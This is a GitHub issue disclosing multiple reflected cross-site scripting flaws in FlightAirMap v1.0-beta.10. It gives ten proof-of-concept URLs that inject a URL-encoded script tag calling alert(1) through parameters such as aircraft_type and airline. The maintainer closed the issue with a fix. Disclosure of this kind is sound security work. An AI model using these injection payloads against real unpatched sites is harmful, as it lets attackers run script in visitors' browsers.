Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

FlightAirMap - Multiple Cross-Site Scripting (XSS) #275

Closed
bestshow opened this issue Feb 28, 2017 · 0 comments
Closed

FlightAirMap - Multiple Cross-Site Scripting (XSS) #275

bestshow opened this issue Feb 28, 2017 · 0 comments

Comments

@bestshow
Copy link

bestshow commented Feb 28, 2017

Product:FlightAirMap
Download: https://github.com/Ysurac/FlightAirMap
Vunlerable Version: v1.0-beta.10 and probably prior
Tested Version: 1v1.0-beta.10
Author: ADLab of Venustech

Advisory Details:
I have discovered multiple Cross-Site Scripting (XSS) in “FlightAirMap”, which can be exploited to execute arbitrary code.
The vulnerability exists due to insufficient filtration of user-supplied data in multiple HTTP POST parameters passed to several pages. An attacker could execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation examples below use the "alert()" JavaScript function to see a pop-up messagebox:
Poc:
(1)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/aircraft-sub-menu.php?aircraft_type=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(2)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/airline-sub-menu.php?airline=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(3)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/airport-sub-menu.php?airport=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(4)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/date-sub-menu.php?date=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(5)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/flightid-sub-menu.php?id=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(6)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/ident-sub-menu.php?ident=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(7)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/manufacturer-sub-menu.php?aircraft_manufacturer=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(8)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/owner-sub-menu.php?owner=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(9)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/pilot-sub-menu.php?pilot=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22
(10)
http://localhost/github1/zip/Ysurac_master/FlightAirMap-master/route-sub-menu.php?departure_airport=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22

@Ysurac Ysurac closed this as completed in 363fa23 Feb 28, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant